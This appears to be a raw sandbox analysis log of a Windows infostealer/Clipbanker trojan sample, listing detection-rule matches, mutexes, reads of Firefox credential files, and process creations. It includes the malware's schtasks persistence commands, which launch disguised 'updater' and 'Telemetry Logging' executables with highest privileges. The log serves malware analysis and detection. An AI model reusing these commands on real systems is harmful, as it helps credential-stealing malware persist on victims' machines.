Source: 0000000D.00000002.1585794053.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@59/36@3/5

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\kz8kl7vh.default\signons.sqlite

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3428:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: \Sessions\1\BaseNamedObjects\slickSlideAnd2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3700:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6552:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Mutant created: \Sessions\1\BaseNamedObjects\jW5fQ5e-C7lR7tC1q
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4584:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5332:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\trixy8fTqI7Z4TQTK

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000003.1434474770.0000000005D92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1436440203.0000000005D92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1433335851.0000000006211000.00000004.00000020.00020000.00000000.sdmp, yDQk2lzvekOJLogin Data.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 26%
Source: file.exe	Virustotal: Detection: 23%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe "C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe"
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe "C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe"
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe "C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe "C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe	Section loaded: wldp.dll	Jump to behavior
